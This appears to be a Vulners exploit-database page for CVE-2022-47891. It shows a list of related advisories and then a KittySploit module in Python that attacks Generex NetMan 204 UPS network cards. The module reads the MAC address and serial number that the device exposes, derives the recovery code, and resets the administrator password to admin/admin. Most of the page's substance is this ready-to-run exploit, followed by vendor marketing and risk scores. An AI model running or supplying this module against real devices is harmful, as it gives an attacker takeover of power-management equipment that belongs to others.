Generex NetMan 204 CVE-2022-47891 - Admin Password Reset
| Reporter | Title | Published | Views | Family All 12 |
|---|---|---|---|---|
| CVE-2022-47891 | 6 Mar 202318:07 | – | circl | |
| RIELLO UPS NetMan 信任管理问题漏洞 | 19 Aug 202200:00 | – | cnnvd | |
| CVE-2022-47891 | 3 Oct 202311:25 | – | cve | |
| CVE-2022-47891 Admin password reset in NetMan 204 | 3 Oct 202311:25 | – | cvelist | |
| EUVD-2022-50648 | 3 Oct 202520:07 | – | euvd | |
| Thunderstorm - Modular Framework To Exploit UPS Devices | 6 Mar 202311:30 | – | kitploit | |
| Thunderstorm | 15 Oct 202617:59 | – | kitploit | |
| CVE-2022-47891 | 3 Oct 202312:15 | – | nvd | |
| Default credentials | 3 Oct 202312:15 | – | prion | |
| PT-2023-15519 · Unknown · Netman 204 | 3 Oct 202300:00 | – | ptsecurity |
10
from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.protocols.http.netman204 import NetMan204
class Module(Auxiliary, Http_client, NetMan204):
__info__ = {
"name": "Generex NetMan 204 CVE-2022-47891 - Admin Password Reset",
"description": (
"Generex NetMan 204 exposes enough device information to derive the recovery code and "
"reset the administrator password to the default value."
),
"author": ["JoelGMSec", "KittySploit Team"],
"cve": "CVE-2022-47891",
"references": [
"https://nvd.nist.gov/vuln/detail/CVE-2022-47891",
],
"tags": ["netman204", "password-reset", "recovery"],
}
username = OptString("admin", "NetMan 204 username to test before recovery", required=True)
password = OptString("admin", "NetMan 204 password to test before recovery", required=True)
def check(self):
info = self.netman204_fetch_device_info()
if not info:
return {"vulnerable": False, "reason": "Unable to fetch netman_data.json", "confidence": "low"}
if info.get("mac_address") and info.get("serial_number"):
return {"vulnerable": True, "reason": "MAC address and serial number are exposed", "confidence": "high"}
return {"vulnerable": False, "reason": "Required device identifiers are missing", "confidence": "low"}
def run(self):
auth_ctx = self.netman204_login(self.username, self.password)
if auth_ctx:
print_success(f"Authentication already works with {self.username}:{self.password}")
self.netman204_logout(auth_ctx)
return True
info = self.netman204_fetch_device_info()
if not info:
print_error("Unable to fetch netman_data.json")
return False
mac = info.get("mac_address")
serial = info.get("serial_number")
if not mac or not serial:
print_error("MAC address or serial number missing from netman_data.json")
return False
recovery_code = self.netman204_recovery_from_mac_serial(mac, serial)
print_success(f"Derived recovery code: {recovery_code}")
response = self.netman204_reset_password(recovery_code)
if not response:
print_error("Password reset request failed")
return False
print_success("Administrator password reset to the default credentials: admin / admin")
return True
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
17 Apr 2026 09:19Current
8.4High risk
Vulners AI Score8.4
CVSS 3.18.1 - 8.8
EPSS0.00613
SSVC